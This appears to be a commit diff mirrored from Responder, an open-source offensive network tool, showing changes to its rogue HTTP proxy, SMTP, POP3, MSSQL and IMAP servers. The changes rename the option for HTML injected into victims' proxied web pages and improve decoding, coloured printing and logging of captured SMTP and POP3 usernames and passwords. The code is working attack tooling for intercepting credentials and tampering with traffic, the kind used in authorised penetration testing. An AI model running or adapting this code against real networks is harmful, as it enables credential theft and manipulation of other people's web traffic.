mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 21:11:22 -07:00
Further improvements and fixes.
This commit is contained in:
parent
066c15154d
commit
867bcdde03
7 changed files with 44 additions and 32 deletions
|
@ -171,7 +171,7 @@ def PacketSequence(data, client):
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
|
@ -192,7 +192,7 @@ def PacketSequence(data, client):
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
return str(Buffer)
|
return str(Buffer)
|
||||||
|
|
||||||
|
|
|
@ -58,9 +58,9 @@ def InjectData(data, client, req_uri):
|
||||||
HasBody = re.findall('(<body[^>]*>)', Content)
|
HasBody = re.findall('(<body[^>]*>)', Content)
|
||||||
|
|
||||||
if HasBody:
|
if HasBody:
|
||||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToInject, 3, 1))
|
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||||
|
|
||||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HTMLToInject))
|
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
||||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||||
|
|
||||||
if "content-encoding: gzip" in Headers.lower():
|
if "content-encoding: gzip" in Headers.lower():
|
||||||
|
@ -74,7 +74,6 @@ def InjectData(data, client, req_uri):
|
||||||
return data
|
return data
|
||||||
|
|
||||||
class ProxySock:
|
class ProxySock:
|
||||||
|
|
||||||
def __init__(self, socket, proxy_host, proxy_port) :
|
def __init__(self, socket, proxy_host, proxy_port) :
|
||||||
|
|
||||||
# First, use the socket, without any change
|
# First, use the socket, without any change
|
||||||
|
@ -222,7 +221,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
return 0
|
return 0
|
||||||
return 1
|
return 1
|
||||||
|
|
||||||
def socket_proxy(self):
|
def socket_proxy(self, af, fam):
|
||||||
Proxy = settings.Config.Upstream_Proxy
|
Proxy = settings.Config.Upstream_Proxy
|
||||||
Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
|
Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
|
||||||
Proxy = Proxy.split(':')
|
Proxy = Proxy.split(':')
|
||||||
|
@ -230,13 +229,13 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
try: Proxy = (Proxy[0], int(Proxy[1]))
|
try: Proxy = (Proxy[0], int(Proxy[1]))
|
||||||
except: Proxy = (Proxy[0], 8080)
|
except: Proxy = (Proxy[0], 8080)
|
||||||
|
|
||||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
soc = socket.socket(af, fam)
|
||||||
return ProxySock(soc, Proxy[0], Proxy[1])
|
return ProxySock(soc, Proxy[0], Proxy[1])
|
||||||
|
|
||||||
def do_CONNECT(self):
|
def do_CONNECT(self):
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
if settings.Config.Upstream_Proxy:
|
||||||
soc = self.socket_proxy()
|
soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
else:
|
else:
|
||||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
@ -261,7 +260,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
return
|
return
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
if settings.Config.Upstream_Proxy:
|
||||||
soc = self.socket_proxy()
|
soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
else:
|
else:
|
||||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
@ -306,12 +305,12 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
for i in ins:
|
for i in ins:
|
||||||
if i is soc:
|
if i is soc:
|
||||||
out = self.connection
|
out = self.connection
|
||||||
#try:
|
try:
|
||||||
data = i.recv(4096)
|
data = i.recv(4096)
|
||||||
if len(data) > 1:
|
if len(data) > 1:
|
||||||
data = InjectData(data, self.client_address[0], self.path)
|
data = InjectData(data, self.client_address[0], self.path)
|
||||||
#except:
|
except:
|
||||||
# pass
|
pass
|
||||||
else:
|
else:
|
||||||
out = soc
|
out = soc
|
||||||
data = i.recv(4096)
|
data = i.recv(4096)
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
import os
|
import os
|
||||||
import settings
|
import settings
|
||||||
|
|
||||||
|
from utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||||
|
|
||||||
|
|
|
@ -112,6 +112,7 @@ def ParseClearTextSQLPass(data, client):
|
||||||
class MSSQL(BaseRequestHandler):
|
class MSSQL(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
|
@ -17,6 +17,7 @@
|
||||||
import os
|
import os
|
||||||
import settings
|
import settings
|
||||||
|
|
||||||
|
from utils import *
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import POPOKPacket
|
from packets import POPOKPacket
|
||||||
|
|
||||||
|
@ -41,9 +42,9 @@ class POP3(BaseRequestHandler):
|
||||||
if data[0:4] == "PASS":
|
if data[0:4] == "PASS":
|
||||||
Pass = data[5:].replace("\r\n","")
|
Pass = data[5:].replace("\r\n","")
|
||||||
|
|
||||||
print text("[POP3] Address : %s" % self.client_address[0])
|
print text("[POP3] Address : %s" % color(self.client_address[0], 3))
|
||||||
print text("[POP3] Username : %s" % User)
|
print text("[POP3] Username : %s" % color(User, 3))
|
||||||
print text("[POP3] Password : %s" % Pass)
|
print text("[POP3] Password : %s" % color(Pass, 3))
|
||||||
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||||
|
|
||||||
data = self.SendPacketAndRead()
|
data = self.SendPacketAndRead()
|
||||||
|
|
|
@ -17,6 +17,8 @@
|
||||||
import os
|
import os
|
||||||
import settings
|
import settings
|
||||||
|
|
||||||
|
from utils import *
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||||
|
|
||||||
|
@ -37,19 +39,26 @@ class ESMTP(BaseRequestHandler):
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
Username = b64decode(data[:len(data)-2])
|
try:
|
||||||
self.request.send(str(SMTPAUTH2()))
|
User = filter(None, b64decode(data).split('\x00'))
|
||||||
data = self.request.recv(1024)
|
Username = User[0]
|
||||||
|
Password = User[1]
|
||||||
|
except:
|
||||||
|
Username = b64decode(data)
|
||||||
|
|
||||||
if data:
|
self.request.send(str(SMTPAUTH2()))
|
||||||
Password = b64decode(data[:len(data)-2])
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0))
|
if data:
|
||||||
print text("[SMTP] Username : %s" % color(Username, 3, 0))
|
try: Password = b64decode(data)
|
||||||
print text("[SMTP] Password : %s" % color(Password, 3, 0))
|
except: Password = data
|
||||||
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
|
|
||||||
|
|
||||||
## FIXME: Close connection properly
|
print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
|
||||||
|
print text("[SMTP] Username : %s" % color(Username, 3))
|
||||||
|
print text("[SMTP] Password : %s" % color(Password, 3))
|
||||||
|
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
|
||||||
|
|
||||||
|
## FIXME: Close connection properly
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
1
utils.py
1
utils.py
|
@ -211,6 +211,7 @@ def StartupMessage():
|
||||||
print ""
|
print ""
|
||||||
print ""
|
print ""
|
||||||
|
|
||||||
|
# Useful for debugging
|
||||||
def hexdump(src, l=0x16):
|
def hexdump(src, l=0x16):
|
||||||
res = []
|
res = []
|
||||||
sep = '.'
|
sep = '.'
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue